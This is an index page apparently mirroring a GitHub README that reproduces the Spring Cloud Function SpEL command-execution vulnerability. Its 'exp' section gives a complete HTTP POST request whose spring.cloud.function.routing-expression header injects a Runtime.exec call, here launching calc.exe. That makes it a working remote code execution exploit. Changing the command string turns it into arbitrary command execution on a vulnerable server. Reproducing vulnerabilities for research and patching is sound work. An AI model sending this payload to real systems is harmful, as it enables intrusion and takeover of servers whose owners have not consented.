Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/tangxiaofeng7/Spring-Cloud-Function-Spel

Spring Cloud Function Spel命令执行漏洞
https://github.com/tangxiaofeng7/Spring-Cloud-Function-Spel

Last synced: 21 days ago
JSON representation

Spring Cloud Function Spel命令执行漏洞

Awesome Lists containing this project

README

        

## Spring-Cloud-Function-Spel命令执行漏洞

> environment:jdk17

start:
```
mvn spring-boot:run
```

exp:
```
POST /spring HTTP/1.1
Host: 192.168.0.104:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

```
![img.png](images/calc.png)